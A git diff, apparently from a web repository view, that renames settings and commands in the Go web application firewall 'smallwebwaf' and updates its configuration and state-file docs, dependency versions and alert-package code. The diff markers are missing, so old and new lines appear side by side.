alert, as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked
as the webhook URL is.
- `SWWAF_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
character in it is refused.
- `SWW_ALERT_EVENTS` (default
`ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error`):
- `SWWAF_ALERT_EVENTS` (default
`ban,permanent_ban,waf_block,anomaly,reputation_hit,source_failure,file_error`):
the event types alerts are sent for, from those in [`alerts.md`](alerts.md)
but `summary`. Any other name is refused.
- `SWW_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
- `SWWAF_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
repeats are held back. A duration or `off`.
- `SWW_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. A
- `SWWAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. A
whole number above zero, or `off`.
## Anomaly thresholds
Each scope has four thresholds: the most requests and the most body bytes
counted in a minute and in an hour. The bytes are those `SWW_BYTES_COUNT` names.
Requests are counts, bytes are sizes. Each is `off` by default. The four
thresholds per client are:
Each scope has four thresholds: the most requests and the most bytes counted in
a minute and in an hour. Requests are counts, bytes are sizes. Each is `off` by
default. The four thresholds per client are:
- `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
- `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
- `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
- `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR`.
- `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
- `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
- `SWWAF_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
- `SWWAF_ANOMALY_CLIENT_BYTES_PER_HOUR`.
The other scopes' names have another prefix before the same four endings, such
as `REQUESTS_PER_MINUTE`:
- `SWW_ANOMALY_NET_...`: per netblock around a client. Two settings give the
- `SWWAF_ANOMALY_NET_...`: per netblock around a client. Two settings give the
netblock's length:
- `SWW_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
- `SWWAF_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
client;
- `SWW_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
- `SWWAF_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
client.
- `SWW_ANOMALY_ASN_...`: per AS number.
- `SWW_ANOMALY_TOTAL_...`: the whole service.
- `SWW_WATCH_...`: each netblock in `SWW_WATCH_NETS`, as a whole.
`SWW_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such as
`office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
- `SWWAF_ANOMALY_ASN_...`: per AS number.
- `SWWAF_ANOMALY_TOTAL_...`: the whole service.
- `SWWAF_WATCH_...`: each netblock in `SWWAF_WATCH_NETS`, as a whole.
`SWWAF_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such
as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
name, or with a bad netblock, is refused. So is a name used twice.
## Settings given as files
@@ -377,9 +311,9 @@ Then mount its directory into the container read-only, and name the file:
```sh
docker run \
-v /srv/app/tokens:/etc/sww/tokens:ro \
-e SWW_COMMAND=waf \
-e SWW_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
-v /srv/app/tokens:/etc/smallwebwaf/tokens:ro \
-e SMALLWEBWAF_COMMAND=servewaf \
-e SWWAF_METRICS_TOKEN_FILE=/etc/smallwebwaf/tokens/metrics \
...
```
@@ -392,40 +326,41 @@ A few limits are fixed rather than settings:
- at most 1,000 DNS blocklist queries are under way at once;
- at most 20,000 anomaly counters are kept;
- each alert destination's queue holds at most 1,000 alerts;
- `waf` holds at most 10,000 answered requests awaiting their reports;
- `waf` refuses a request with more than 50 cookies or more than 100 header
fields (see "Answering in time" under "`waf`" in [`SPEC.md`](../SPEC.md));
- `servewaf` holds at most 10,000 answered requests awaiting their reports;
- `servewaf` refuses a request with more than 50 cookies or more than 100 header
fields (see "Answering in time" under "`servewaf`" in
[`SPEC.md`](../SPEC.md));
- `rproxy` takes a request line and headers of at most 32 KiB, and closes a
kept-open connection idle for 120 seconds;
- `rproxy` reads at most 1 MiB of the body of `waf`'s answer, and answers `502`
to a longer one.
- `rproxy` reads at most 1 MiB of the body of `servewaf`'s answer, and answers
`502` to a longer one.
## `waf`'s answer and `rproxy`'s wait
## `servewaf`'s answer and `rproxy`'s wait
`SWW_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. Keep
it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question waits
for `SWW_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are asked
in the background (see "Answering in time" under "`waf`" in
`SWWAF_LOOKUP_TIMEOUT` is the longest a question waits on an outside source.
Keep it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question
waits for `SWWAF_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are
asked in the background (see "Answering in time" under "`servewaf`" in
[`SPEC.md`](../SPEC.md)).
## `rproxy`
`sww rproxy` reads the settings below and no others. They are read once at
start, and an invalid value stops the start. None can be given as a file, since
`rproxy` never touches disk. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what
they do.
`smallwebwaf rproxy` reads the settings below and no others. They are read once
at start, and an invalid value stops the start. None can be given as a file,
since `rproxy` never touches disk. "`rproxy`" in [`SPEC.md`](../SPEC.md) says
what they do.
A time here is a whole number of milliseconds above zero, such as `2000`.
- `SWRP_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or `https`
URL with a host and an optional port, and nothing more. `rproxy` speaks
HTTP/1.1 to it.
- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `waf`'s
- `SWRP_WAF_BACKEND` (required, no default): `servewaf`'s URL. An `http` or
`https` URL with a host and an optional port, and nothing more. `rproxy`
speaks HTTP/1.1 to it.
- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `servewaf`'s
answer, to a question and to a report. A time; never `off`.
- `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when
`waf` cannot be connected to, does not answer at all, or does not answer
`servewaf` cannot be connected to, does not answer at all, or does not answer
within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny` answers
`503`. It does not apply to an answer `waf` gives, such as an error.
`503`. It does not apply to an answer `servewaf` gives, such as an error.
- `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or
`off`.
- `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or
@@ -435,9 +370,8 @@ A time here is a whole number of milliseconds above zero, such as `2000`.
headers, the time until the app has been sent the whole request. A time or
`off`.
- `SWRP_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may take,
from the end of the request to its last byte reaching the visitor. An answer
`rproxy` gives itself always has at least 10 seconds to be sent, and so do the
status and headers of the app's answer. A time or `off`.
from the end of the request to its last byte reaching the visitor. A time or
`off`.
- `SWRP_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as `:9000`.
- `SWRP_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An `http` or
`https` URL with a host and an optional port, and nothing more.
@@ -450,22 +384,22 @@ A time here is a whole number of milliseconds above zero, such as `2000`.
## The image's command
`SWW_COMMAND` (default `rproxy`) chooses what the image runs and what its health
check checks: `rproxy` or `waf` (see "Deployment" in [`SPEC.md`](../SPEC.md)).
It cannot be given as a file.
`SMALLWEBWAF_COMMAND` (default `rproxy`) chooses what the image runs and what
its health check checks: `rproxy` or `servewaf` (see "Deployment" in
[`SPEC.md`](../SPEC.md)). It cannot be given as a file.
## Where earlier settings went
Nothing reads these names any more:
- `SWW_UPSTREAM_URL` is `SWRP_UPSTREAM_URL`.
- `SWW_TRUSTED_PROXIES` is `SWRP_TRUSTED_PROXIES`.
- `SWW_REQUEST_MAX_BYTES` is `SWRP_MAX_REQUEST_SIZE`.
- `SWW_RESPONSE_MAX_BYTES` is `SWRP_MAX_RESPONSE_SIZE`.
- `SWW_CLIENT_REQUEST_TIMEOUT` and `SWW_UPSTREAM_REQUEST_TIMEOUT` are
- `SWWAF_UPSTREAM_URL` is `SWRP_UPSTREAM_URL`.
- `SWWAF_TRUSTED_PROXIES` is `SWRP_TRUSTED_PROXIES`.
- `SWWAF_REQUEST_MAX_BYTES` is `SWRP_MAX_REQUEST_SIZE`.
- `SWWAF_RESPONSE_MAX_BYTES` is `SWRP_MAX_RESPONSE_SIZE`.
- `SWWAF_CLIENT_REQUEST_TIMEOUT` and `SWWAF_UPSTREAM_REQUEST_TIMEOUT` are
`SWRP_MAX_REQUEST_TIME_MS`, in milliseconds.
- `SWW_CLIENT_RESPONSE_TIMEOUT` and `SWW_UPSTREAM_RESPONSE_TIMEOUT` are
- `SWWAF_CLIENT_RESPONSE_TIMEOUT` and `SWWAF_UPSTREAM_RESPONSE_TIMEOUT` are
`SWRP_MAX_RESPONSE_TIME_MS`, in milliseconds.
- `SWW_CLIENT_IDLE_TIMEOUT` and `SWW_CLIENT_REQUEST_HEADER_MAX_BYTES` have no
setting. `rproxy` closes a kept-open connection idle for 120 seconds, and
- `SWWAF_CLIENT_IDLE_TIMEOUT` and `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES` have
no setting. `rproxy` closes a kept-open connection idle for 120 seconds, and
takes a request line and headers of at most 32 KiB.
+25 -81
View File
@@ -1,28 +1,13 @@
# State and cache files
# State files
The JSON files `waf` keeps, and what each holds. "Persistent state" in
[`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has a
top-level `version` of 1.
- The state files are in `SWW_STATE_DIR`, `/var/lib/sww` by default. They hold
what cannot be fetched again, so back them up:
- `bans.json`;
- `clients.json`;
- `abuseipdb-checks-spent.json`;
- `alerts.json`.
- The cache files are in `SWW_CACHE_DIR`, `/var/cache/sww` by default. They hold
answers from outside services, which are asked again when a file is lost, so
the directory can be left out of backups:
- `lookups.json`;
- `lists.json`;
- `dnsbl.json`;
- `abuseipdb-scores.json`;
- `routewatch.json`.
The five JSON files in `SWWAF_STATE_DIR`, and what each holds. "Persistent
state" in [`SPEC.md`](../SPEC.md) says how they are written, read and edited.
Each has a top-level `version` of 1.
## `bans.json`
Active and past bans: every ban an admin made, and up to `SWW_MAX_BANS` of those
`waf` made. Per entry:
Active and past bans: every ban an admin made, and up to `SWWAF_MAX_BANS` of
those `servewaf` made. Per entry:
- `netblock`, `start` and `expires` (`null` for a permanent ban);
- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
@@ -76,19 +61,26 @@ since it was first seen:
- the first and last time seen;
- the AS number, AS name and country last looked up, and when;
- total requests, and how many were forwarded and how many refused;
- body bytes of its requests, and of the responses it was sent;
- bytes in each direction;
- responses by status class;
- offences by kind: `limit`, `attack`, `blocked_by_block_rule` and
`blocked_by_core_rule_set`. A file may also hold `token_refused`, which is
kept, and which nothing adds to.
- offences by kind: `limit`, `attack`, `rule_blocked` and `waf_blocked`. A file
may also hold `token_refused`, which is kept, and which nothing adds to.
## `abuseipdb-checks-spent.json`
## `lookups.json`
The AbuseIPDB checks spent today, so that a restart does not spend the daily
budget again:
GeoJS answers, one per line:
- `day`: the day, in UTC;
- `spent`: the checks spent on it.
- `client`;
- `asn`, `as_name` and `country`;
- `answered`: when GeoJS answered;
- `used`: when the answer was last used.
## `reputation.json`
- the last good copy of each list fetched from a URL, with when it was last
tried;
- each DNS blocklist verdict still in use;
- AbuseIPDB's scores, and the checks spent today.
## `alerts.json`
@@ -98,63 +90,15 @@ budget again:
- the alerts sent and held back in the current hour;
- the alerts waiting for each destination.
## `lookups.json`
A cache file. GeoJS answers, one per line:
- `client`;
- `asn`, `as_name` and `country`;
- `answered`: when GeoJS answered;
- `used`: when the answer was last used.
## `lists.json`
A cache file. The last good copy of each list fetched from a URL, with when it
was last tried:
- `url`;
- `tried`: when it was last fetched or tried;
- `fetched` and `lines`: when the last good copy was fetched, and its lines,
comment lines included.
## `dnsbl.json`
A cache file. Each DNS blocklist verdict still in use, one per line:
- `zone` and `client`;
- `listed`: whether the zone lists the client;
- `fetched`: when the zone answered.
## `abuseipdb-scores.json`
A cache file. AbuseIPDB's scores still in use, one per line:
- `client`;
- `score`: from 0 to 100;
- `fetched`: when AbuseIPDB answered.
## `routewatch.json`
A cache file. routewatch's answers from the last hour, one per line:
- `client`;
- `netblock`: the netblock the client's address is announced in, empty for an
address without a live route;
- `asn`: the number of the AS that originates the netblock, 0 for none;
- `answered`: when routewatch answered.
## Sizes
- `clients.json`: about 1 KiB per client, about 20 MiB at the default
`SWW_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB of
`SWWAF_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB of
disk writes a day.
- `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
the default `SWW_MAX_BANS`. Written every 15 minutes, a full file comes to
the default `SWWAF_MAX_BANS`. Written every 15 minutes, a full file comes to
about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
more.
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
full.
- `routewatch.json`: about 120 bytes per answer, at most about 12 MiB.
- `abuseipdb-checks-spent.json`: a few bytes.
- `lists.json`, `dnsbl.json`, `abuseipdb-scores.json` and `alerts.json`: usually
a few MiB or less.
- `reputation.json` and `alerts.json`: usually a few MiB or less.
+4 -5
View File
@@ -3,9 +3,8 @@ module sneak.berlin/go/smallwebwaf
go 1.26.0
require (
cloud.google.com/go v0.123.0
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
github.com/corazawaf/coraza/v3 v3.8.2-0.20261022102553-d028be399c68
github.com/corazawaf/coraza/v3 v3.8.1
github.com/fsnotify/fsnotify v1.10.1
github.com/hashicorp/golang-lru/v2 v2.0.7
github.com/maxmind/mmdbwriter v1.2.0
@@ -16,7 +15,7 @@ require (
require (
github.com/beorn7/perks v1.0.1 // indirect
github.com/cespare/xxhash/v2 v2.3.0 // indirect
github.com/corazawaf/libinjection-go v0.3.4 // indirect
github.com/corazawaf/libinjection-go v0.3.3 // indirect
github.com/goccy/go-json v0.10.5 // indirect
github.com/goccy/go-yaml v1.19.2 // indirect
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
@@ -35,10 +34,10 @@ require (
github.com/tidwall/pretty v1.2.1 // indirect
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
golang.org/x/net v0.60.0 // indirect
golang.org/x/net v0.58.0 // indirect
golang.org/x/sync v0.23.0 // indirect
golang.org/x/sys v0.48.0 // indirect
golang.org/x/text v0.42.0 // indirect
golang.org/x/text v0.41.0 // indirect
google.golang.org/protobuf v1.36.11 // indirect
rsc.io/binaryregexp v0.2.0 // indirect
)
+10 -14
View File
@@ -1,19 +1,15 @@
cloud.google.com/go v0.123.0 h1:2NAUJwPR47q+E35uaJeYoNhuNEM9kM8SjgRgdeOJUSE=
cloud.google.com/go v0.123.0/go.mod h1:xBoMV08QcqUGuPW65Qfm1o9Y4zKZBpGS+7bImXLTAZU=
github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/corazawaf/coraza-coreruleset/crs/tests/v4 v4.30.0 h1:ZX0xWXpQgRXV/4sdfw21mOZBmmzQSb1+JiR51YOLv8I=
github.com/corazawaf/coraza-coreruleset/crs/tests/v4 v4.30.0/go.mod h1:yf3Gc7mGKBR1wchr4EXZHG10En6WQ4W4MJCg3ix91wQ=
github.com/corazawaf/coraza-coreruleset/crs/v4 v4.30.0 h1:XMYT7VOFM2VrpIKMUn4vFWyoFNYg1ZaYiexs76AmxzQ=
github.com/corazawaf/coraza-coreruleset/crs/v4 v4.30.0/go.mod h1:1yaQUjecpEJ/cWXhJaFto+vRuezJCCfVxGQlaQxAGt0=
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc h1:OlJhrgI3I+FLUCTI3JJW8MoqyM78WbqJjecqMnqG+wc=
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc/go.mod h1:7rsocqNDkTCira5T0M7buoKR2ehh7YZiPkzxRuAgvVU=
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0 h1:tqFO1lfVpTiyWtlN618OXpZMfw+nnN0Q4///W5W+/HM=
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0/go.mod h1:nRuGXITxOPvsLF2VxaTB7pYok8QB8BitX3ZenXcUryY=
github.com/corazawaf/coraza/v3 v3.8.2-0.20261022102553-d028be399c68 h1:KLEjvBBSwQcxvgT6h1VDjRLtQ+V9eObAwubb1CTWf9U=
github.com/corazawaf/coraza/v3 v3.8.2-0.20261022102553-d028be399c68/go.mod h1:9XocblQEwK6EYylRth7PrPIifF2l0iSoYo4FAXhXU/8=
github.com/corazawaf/libinjection-go v0.3.4 h1:jX2Tit2xZxYJJyVryNXucYBZtQqS7473x9Nc6lgRRbk=
github.com/corazawaf/libinjection-go v0.3.4/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
github.com/corazawaf/coraza/v3 v3.8.1 h1:dMV55FbMR2vOks/acrT43RShR+VkzU6jwp+XPdxay8o=
github.com/corazawaf/coraza/v3 v3.8.1/go.mod h1:nPVk2JqADYBcKLYvo9cRsr+z4JhanU0WniGhZZBZD6c=
github.com/corazawaf/libinjection-go v0.3.3 h1:NhbXKRfRpqKzBMzv8zpCcnjyEw7BCVhBOv9IPuBl7Fc=
github.com/corazawaf/libinjection-go v0.3.3/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
@@ -83,14 +79,14 @@ go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBs
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
golang.org/x/mod v0.41.0 h1:qJmnOUb4YB+FsEuM3HcWucdZASCPGhsX6uljO6pog0c=
golang.org/x/mod v0.41.0/go.mod h1:Ek9pY8RKWXwsWvd3rQiHYtMqkjSUV+s1Rj7j4H5Ur6o=
golang.org/x/net v0.60.0 h1:79p50tfZlm0J9YfoDsSi639qSXNGVwEzOPLCxM2FsYU=
golang.org/x/net v0.60.0/go.mod h1:2DA/G1UfVbCpQPeWTmMPGY7Cs2PkBkwu743bVX5PIVg=
golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To=
golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU=
golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk=
golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0=
golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo=
golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
golang.org/x/text v0.42.0 h1:JbOZXgfeCPU9gacVtYliJqOhD+zhrEqK4LfdpmlUZqI=
golang.org/x/text v0.42.0/go.mod h1:ojzP1Z+2QtioaF8DTtO8K5q7JWVVYwZKenzujK0Zd0E=
golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8=
golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M=
golang.org/x/tools v0.50.0 h1:c2ifzfcuY7L90lZ2aKd8S4K2NpASF08SZx9ZuJkHmSU=
golang.org/x/tools v0.50.0/go.mod h1:7ulVMw3831Mwi5EZD6RomGyffr4VFjuNYXf2BbCEAV0=
google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
+48 -52
View File
@@ -1,12 +1,12 @@
// Package alerts sends alerts on bans, on traffic over an anomaly
// threshold, on a source that fails and on a file with an error to each
// destination set: to the webhook
// SWW_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
// SWWAF_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
// object" in docs/alerts.md describes, to the Slack incoming
// webhook SWW_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
// ntfy topic SWW_ALERT_NTFY_URL names. A repeat within
// SWW_ALERT_COOLDOWN is held back, and so is an alert past
// SWW_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
// webhook SWWAF_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
// ntfy topic SWWAF_ALERT_NTFY_URL names. A repeat within
// SWWAF_ALERT_COOLDOWN is held back, and so is an alert past
// SWWAF_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
// bounded queue of each destination's own, so that a destination that is
// slow or unreachable holds up neither the others nor any request. The
// state is written to alerts.json and read from it by the state package.
@@ -34,47 +34,45 @@ import (
"time"
)
// The events an alert is for, as SWW_ALERT_EVENTS names them.
// The events an alert is for, as SWWAF_ALERT_EVENTS names them.
const (
// EventBan is a ban sww made.
// EventBan is a ban smallwebwaf made.
EventBan = "ban"
// EventPermanentBan is a permanent ban sww made, or a ban it
// EventPermanentBan is a permanent ban smallwebwaf made, or a ban it
// made permanent.
EventPermanentBan = "permanent_ban"
// EventAnomaly is a count of requests or bytes over an anomaly
// threshold.
EventAnomaly = "anomaly"
// EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
// SWW_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
// EventWAFBlock is a request the Core Rule Set scored at or over
// SWWAF_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
// detect mode.
EventCoreRuleSetMatch = "core_rule_set_match"
EventWAFBlock = "waf_block"
// EventReputationHit is a request whose client a blocklist, the
// CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score
// is a hit.
EventReputationHit = "reputation_hit"
// EventSourceFailure is GeoJS failing or refusing sww, a fetch
// EventSourceFailure is GeoJS failing or refusing smallwebwaf, a fetch
// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
// failing or refused, or the day's AbuseIPDB checks used up.
EventSourceFailure = "source_failure"
// EventFileError is one of:
// - a rule file or state file edited while sww runs that does not parse;
// - a cache file that does not parse, at start or after an edit;
// - a state file or cache file that cannot be written;
// - a replacement of the lookup database that cannot be read.
// EventFileError is a rule file or state file edited while smallwebwaf
// runs that does not parse, a replacement of the lookup database that
// cannot be read, or a state file that cannot be written.
EventFileError = "file_error"
// EventSummary is the summary sent as an hour ends: of the alerts held
// back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
// back in it past SWWAF_ALERT_MAX_PER_HOUR, and of the repeats held
// back by the cooldowns dropped as it ends, which no alert let through
// has given. It is sent with SWW_ALERT_MAX_PER_HOUR off too, for
// those repeats. SWW_ALERT_EVENTS does not name it.
// has given. It is sent with SWWAF_ALERT_MAX_PER_HOUR off too, for
// those repeats. SWWAF_ALERT_EVENTS does not name it.
EventSummary = "summary"
)
// Events returns every event SWW_ALERT_EVENTS can name, which is its
// Events returns every event SWWAF_ALERT_EVENTS can name, which is its
// default.
func Events() []string {
return []string{
EventBan, EventPermanentBan, EventCoreRuleSetMatch, EventAnomaly,
EventBan, EventPermanentBan, EventWAFBlock, EventAnomaly,
EventReputationHit, EventSourceFailure, EventFileError,
}
}
@@ -82,12 +80,12 @@ func Events() []string {
// The destinations alerts are sent to, as the metrics and alerts.json
// name them.
const (
// DestinationWebhook is the webhook SWW_ALERT_WEBHOOK_URL names.
// DestinationWebhook is the webhook SWWAF_ALERT_WEBHOOK_URL names.
DestinationWebhook = "webhook"
// DestinationSlack is the Slack incoming webhook
// SWW_ALERT_SLACK_WEBHOOK_URL names.
// SWWAF_ALERT_SLACK_WEBHOOK_URL names.
DestinationSlack = "slack"
// DestinationNtfy is the ntfy topic SWW_ALERT_NTFY_URL names.
// DestinationNtfy is the ntfy topic SWWAF_ALERT_NTFY_URL names.
DestinationNtfy = "ntfy"
)
@@ -123,26 +121,26 @@ var (
// NtfyURL set, no alert is sent.
type Params struct {
// WebhookURL is where each alert is posted as JSON
// (SWW_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
// are sent with each (SWW_ALERT_WEBHOOK_HEADERS).
// (SWWAF_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
// are sent with each (SWWAF_ALERT_WEBHOOK_HEADERS).
WebhookURL *url.URL
WebhookHeaders http.Header
// SlackURL is the Slack incoming webhook each alert is posted to as a
// message (SWW_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
// message (SWWAF_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
SlackURL *url.URL
// NtfyURL is the ntfy topic each alert is published to
// (SWW_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
// empty, is sent with each as a bearer token (SWW_ALERT_NTFY_TOKEN).
// (SWWAF_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
// empty, is sent with each as a bearer token (SWWAF_ALERT_NTFY_TOKEN).
NtfyURL *url.URL
NtfyToken string
// Events are the events alerts are sent for (SWW_ALERT_EVENTS).
// Events are the events alerts are sent for (SWWAF_ALERT_EVENTS).
Events []string
// Cooldown is how long a repeat of an alert is held back
// (SWW_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
// sent in an hour (SWW_ALERT_MAX_PER_HOUR), 0 for no limit.
// (SWWAF_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
// sent in an hour (SWWAF_ALERT_MAX_PER_HOUR), 0 for no limit.
Cooldown time.Duration
MaxPerHour int
// Instance is SWW_INSTANCE_NAME, which every alert gives.
// Instance is SWWAF_INSTANCE_NAME, which every alert gives.
Instance string
// Now tells the time of an alert, normally time.Now in UTC.
Now func() time.Time
@@ -153,7 +151,7 @@ type Params struct {
// Alert is one alert, as the webhook is sent it and alerts.json holds it,
// with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and
// Country are, for a ban, the client's as the ban's notes give them. Host is
// the site of the request that raised the alert, while one waf serves
// the site of the request that raised the alert, while one servewaf serves
// many sites, and "" otherwise.
//
//nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case
@@ -222,7 +220,7 @@ type State struct {
// requests to it failed, and how many alerts were dropped from its full
// queue or given up as it refused them.
type Counts struct {
Sent, SendFailures, Dropped int64
Sent, Failed, Dropped int64
}
// Queue takes the alerts raised, holds back those it must, and sends the
@@ -266,7 +264,7 @@ type destination struct {
// waiting are the alerts waiting to be sent, oldest first.
waiting []*Alert
sent, sendFailures, dropped atomic.Int64
sent, failed, dropped atomic.Int64
}
// cooldownKey is what makes an alert a repeat of another: the same event
@@ -303,17 +301,17 @@ func New(params Params) *Queue {
}
if params.WebhookURL != nil {
q.addDestination(DestinationWebhook, "SWW_ALERT_WEBHOOK_URL",
q.addDestination(DestinationWebhook, "SWWAF_ALERT_WEBHOOK_URL",
params.WebhookURL, q.webhookMessage)
}
if params.SlackURL != nil {
q.addDestination(DestinationSlack, "SWW_ALERT_SLACK_WEBHOOK_URL",
q.addDestination(DestinationSlack, "SWWAF_ALERT_SLACK_WEBHOOK_URL",
params.SlackURL, slackMessage)
}
if params.NtfyURL != nil {
q.addDestination(DestinationNtfy, "SWW_ALERT_NTFY_URL",
q.addDestination(DestinationNtfy, "SWWAF_ALERT_NTFY_URL",
params.NtfyURL, q.ntfyMessage)
}
@@ -321,7 +319,7 @@ func New(params Params) *Queue {
}
// Raise sends alert, which names its event and what is particular to it,
// unless no destination is set or SWW_ALERT_EVENTS leaves its event
// unless no destination is set or SWWAF_ALERT_EVENTS leaves its event
// out. It gives alert the instance and the time. An alert that repeats
// the last one let through less than Cooldown before is held back and
// counted. The next one let through gives that count, unless an hour of
@@ -365,7 +363,7 @@ func (q *Queue) Raise(alert Alert) {
}
// WouldSend reports whether Raise would let an alert for event on
// netblock through now: a destination is set, SWW_ALERT_EVENTS chooses
// netblock through now: a destination is set, SWWAF_ALERT_EVENTS chooses
// event, no alert for event on netblock was let through less than
// Cooldown before, and fewer than MaxPerHour alerts have been let through
// in the hour under way. Unlike Raise, it counts nothing.
@@ -428,9 +426,7 @@ func (q *Queue) Counts(name string) Counts {
for _, d := range q.destinations {
if d.name == name {
return Counts{
Sent: d.sent.Load(),
SendFailures: d.sendFailures.Load(),
